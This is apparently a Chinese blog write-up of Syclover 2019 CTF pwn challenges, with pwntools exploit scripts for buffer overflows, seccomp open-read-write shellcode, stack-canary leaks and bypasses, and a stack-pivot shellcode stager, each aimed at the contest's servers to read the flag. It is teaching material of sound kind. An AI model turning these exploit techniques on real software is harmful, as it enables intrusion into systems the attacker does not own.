zoukankan      html  css  js  c++  java
  • Syclover2019 WP

    pwn

    Find Tools

      没有附件,只给了远程环境,目的是让我们使用pwntools工具,exp如下:

    from pwn import *
    p=remote('pwnto.fun',9999)
    p.recvuntil("password:")
    p.send('l1ve_l0ng_and_pwn')  #此处不能使用sendline(引入'
    ')
    p.recv()
    print p.recv  #!将接收到的flag打印出来
    #p.interactive()  这道题只是发送和接收包,flag是通过接收得到的,而不是通过拿到shell得到的,所以并不需要交互

    pwntools IO模块使用:

    p.send(data)  #发送数据
    p.sendline(data)   #!!  发送数据和'
    '
    p.recv(numb=2048,timeout=default)   #接收指定字节和超时的数据
    p.recvline(keepends=True)     #接收一行数据
    p.recvuntil("...",drop=false) #接收数据直到我们设置的标志
    p.recvall( )    #一直接收到EOF为止
    p.recvrepeat(timeout=default)    #持续接收直到EOF出现或超时
    p.interactive( )    #得到shell后进入交互模式
    Baby rop

    查看保护:

    开启了NX保护,rop解决,exp如下:

    from pwn import *
    context(log_level='debug')
    p=remote('pwnto.fun',10000)
    payload='a'*0x88+p64(0x400618)
    #p.recvuntil('me?
    ')
    p.send(payload)
    p.interactive()

    注:

    1.开启了NX保护,我们不能利用在数据域上的/bin/sh:

     

    但是题目留了gadgets:

     

    2.一开始按照代码逻辑应该是先puts( )的,但是nc连接测试后发现需要我们先输入,故直接发送payload即可

    3.gets( )和read( )函数对应sendline( )&send( )的情况

    Baby Shellcode

    首先查看保护:

    没有canary保护可以直接栈溢出,64位反汇编:

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      char v4; // [rsp+0h] [rbp-30h]
      void *buf; // [rsp+28h] [rbp-8h]
    ​
      buf = mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
      sub_400999();
      sub_400956();
      puts("A simple shellcode for U, have fun!");
      read(0, buf, 0x64uLL);
      puts("Why not play CSGO?");
      read(0, &v4, 0x64uLL);
      return 0LL;
    }

    其中,

    void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset)

    start:要映射到的内存区域的起始地址,通常用NULL,表示由内核来指定该内存地址。所以我们看到buf指向从地址0x123000开始的一段内存,同时有两个可以利用的read函数,大致思路应该是:先向buf指向的内存中注入shellcode,再利用第二个read函数栈溢出执行我们的shellcode。

    发现有hint:

    和HitconTraining-LAB2极其相似,留了后门函数但是无法实现:

     

    这是因为程序中开启了seccomp保护:

    seccomp是一种内核中的安全机制,正常情况下程序可以使用所有的syscall,而使用了seccomp后我们可以禁用一些syscall。hint中提示我们只能使用openwrite ead三个函数(orw),所以我们的任务就是注入通过openwrite ead读取flag文件的shellcode,exp如下:

    from pwn import *
    context(arch='amd64',os='linux')
    #生成64位下的shellcode
    p=remote('pwnto.fun',12300)
    #p=process('./RushB')
    shellcode = shellcraft.pushstr("flag")  
    #根据hint,flag和bin在同一目录下
    shellcode += shellcraft.open("rsp")     
    shellcode += shellcraft.read("rax", "rsp", 0x30)
    shellcode += shellcraft.write(1, "rsp", 0x30)
    #ssize_t read(int fd, void *buf, size_t count);
    #ssize_t write (int fd, const void * buf, size_t count); 
    p.recvuntil("A simple shellcode for U, have fun!
    ")
    p.send(asm(shellcode))
    shellcode_addr=0x123000
    p.recvuntil("CSGO?
    ")
    payload='a'*0x38+p64(shellcode_addr)
    p.send(payload)
    p.interactive() 
    Baby Canary

    如题,开启了canary保护和NX保护,这说明我们不能使用正常的栈溢出,

     

    64位反汇编:

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      void *buf; // ST08_8
      int fd; // [rsp+4h] [rbp-2Ch]
      char v6; // [rsp+10h] [rbp-20h]
      unsigned __int64 v7; // [rsp+28h] [rbp-8h]
    ​
      v7 = __readfsqword(0x28u);
      init();
      fd = open("flag", 0);
      if ( fd < 0 )
      {
        printf("Not find flag, Wrong!");
        exit(0);
      }
      buf = malloc(0x20uLL);
      read(fd, buf, 0x10uLL);
      puts("Rop is easy for U, try bypass the check!");
      printf("Here is your key: %p
    ", buf);
      puts("Say something before leaving.");
      gets((__int64)&v6);
      printf("I hava received your message, bye!");
      return 0;
    }

    其中,buf指向一段内存空间,flag文件的内容读入到了这段内存空间中,同时给了我们key,也即内存空间(flag文件内容)的地址。

    在学长的hint下才有了解题的正确方式emmm,wtcl,其实这道题和上一道有一点相似之处在于我们不需要get shell,只需要读取flag文件内容。根据这两点,其实我们不需要执行key,而是得到key中存储的内容,这就排除了泄露爆破canary的做法。所以这道题是触发canary,执行__stack_chk_fail( )函数,泄露出flag内容,原理如下:

    void __attribute__ ((noreturn)) __stack_chk_fail (void)
    {
      __fortify_fail ("stack smashing detected");
    }
    ​
    void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
    {
      /* The loop is added only to keep gcc happy.  */
      while (1)
        __libc_message (2, "*** %s ***: %s terminatedn",
                        msg, __libc_argv[0] ?: "<unknown>");
    }

    __stack_chk_fail( )函数定义中可以看出,报错信息会打印出__libc__argv[0]中存储的字符串, 如果我们将其覆盖成key值,就能打印出flag了。

    在main( )函数下断点:

     

    看到RSI寄存器中存储了参数__libc__argv[0],我们需要将其改成key,

     

    从IDA中得到我们输入的字符串距离栈底ebp 0x20,通过|rbp-20h-rsi|的值来得到正确的偏移量,于是exp如下:

    from pwn import *
    context(log_level='debug')
    p=remote('pwnto.fun',10007)
    p.recvuntil("key: ")
    flag_addr=int(p.recv(8),16)
    #64位接收8个字节
    #print flag_addr
    payload='a'*0x108+p64(flag_addr)
    #0x108就是我们的偏移量
    p.recvuntil("leaving.
    ")
    p.send(payload)
    p.interactive()
    Easy canary

    最常见的canary泄露套路,关键部分:

    unsigned int fun()
    {
      char buf; // [esp+8h] [ebp-20h]
      unsigned int v2; // [esp+1Ch] [ebp-Ch]
    ​
      v2 = __readgsdword(0x14u);
      puts("The is a baby rop ! Hava fun!");
      puts("So, do u have anything to tell me?");
      read(0, &buf, 0x32u);
      puts("Here is your gift: ");
      puts(&buf);
      puts("Keep try!");
      read(0, &buf, 0x64u);
      return __readgsdword(0x14u) ^ v2;
    }

    利用read( )函数触发canary保护机制后利用puts(&buf)函数泄露canary的值,利用第二次的read( )函数覆盖canary绕过保护,利用程序中的root函数(gadgets)实现栈溢出拿到shell,exp如下:

    from pwn import *
    context(log_level='debug')
    p=remote('pwnto.fun',10001)
    payload1='a'*(0x20-0xC)
    p.recvuntil("me?
    ")
    p.sendline(payload1)
    p.recvuntil("gift: 
    ")
    p.recvuntil('a'*20)
    canary=u32(p.recv(4))-0xa
    print hex(canary)
    p.recvuntil("try!
    ")
    payload2='a'*(0x20-0xC)+p32(canary)+'a'*0xC+p32(0x08048647)
    p.send(payload2)
    p.interactive()

    注:此处我们必须发送多发送一个字节触发canary保护才能实现泄露.

    Not bad
    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
      sub_400949();
      sub_400906();
      sub_400A16();
      return 0LL;
    }

    程序一开始为我们分配了从0x123000开始的一段连续的内存空间,也就是说有一段内存可以供我们随便读写执行,比如写入并执行shellcode和存放flag内容,可以看到:

    int sub_400A16()
    {
      char buf; // [rsp+0h] [rbp-20h]
    ​
      puts("Easy shellcode, have fun!");
      read(0, &buf, 0x38uLL);
      return puts("Baddd! Focu5 me! Baddd! Baddd!");
    }

    这里的read的长度只有0x38,不够存放orw,因此我们这里可以利用构造rop,执行read函数,读入shellcode到分配的内存上,利用

    栈迁移执行shellcode,exp如下:

    from pwn import *
    #p=process('./bad')
    p=remote('pwnto.fun',12301)
    context(log_level='debug',os='linux',arch='amd64')
    #gdb.attach(p)
    #jmp_rsp的地址
    jmp_rsp_addr=0x0000000000400a01
    
    #read(0,0x123000,0x100)
    #x64下read函数的调用号为0(rax传入),rdi存放第一个参数,rsi存放第二个参数,rdx存放第三个参数
    shellcode='''
    xor rdi,rdi
    push 0x123100
    pop rsi
    push 0x100
    pop rdx
    xor rax,rax
    syscall
    '''
    
    #利用jmp rsp; sub rsp,xxx; jmp rsp; 劫持rsp控制程序执行流程,在栈上进行了跳转
    sub_jmp='''
    sub rsp,0x30
    jmp rsp
    '''
    #劫持rsp到具体的地址
    #此处曾尝试写入地址跳转值0X123000但在环境ubuntu18.04中一直无法实现
    jmp_123100='''
    push 0x123100
    pop rsp
    jmp rsp
    '''
    
    #将shellcode存放于0x123100处并劫持rsp进行执行
    read_addr=asm(shellcode)+asm(jmp_123100)
    #栈溢出
    payload1=read_addr+'a'*(0x28-len(read_addr))+p64(jmp_rsp_addr)+asm(sub_jmp)
    
    p.recvuntil("Easy shellcode, have fun!
    ")
    p.sendline(payload1)
    
    #open(const char *filename,int flags,int mode) x64下调用号2(rax)
    #push rsp把栈顶指针寄存器中的值也即指向文件路径的指针赋值给rdi
    open='''
    push 0x67616c66  
    push rsp
    pop rdi
    xor rsi,rsi
    xor rdx,rdx
    push 2
    pop rax
    syscall
    '''
    
    #read(unsigned int fd,char *buf,size_t count) 其中open函数的返回值也就是fd,存放于rax中
    read='''
    push rax
    pop rdi
    push 0x123200
    pop rsi
    push 0x100
    pop rdx
    xor rax,rax 
    syscall
    '''
    #write(unsigned int fd,const char *buf,size_t count) 1为标准输出流,rsi和rdx不变,系统调用号为1
    write='''
    push 1
    pop rdi
    push 1
    pop rax
    syscall
    '''
    #在syscall read时注入shellcode
    payload2=asm(open)+asm(read)+asm(write)
    p.sendline(payload2)
    p.interactive()
  • 相关阅读:
    算法题解:旋转数组的最小数字
    算法题解:连续子数组的最大和及其下标
    算法题解:快速排序算法(维基百科版)
    c++入门之类——进一步剖析
    c++入门之运算符重载
    c++入门之浅入浅出类——分享给很多想形象理解的人
    c++入门之再话内存和引用
    c++入门之引用
    c++入门之内置数组和array比较
    c++入门之结构体初步
  • 原文地址:https://www.cnblogs.com/Theffth-blog/p/12234947.html
Copyright © 2011-2022 走看看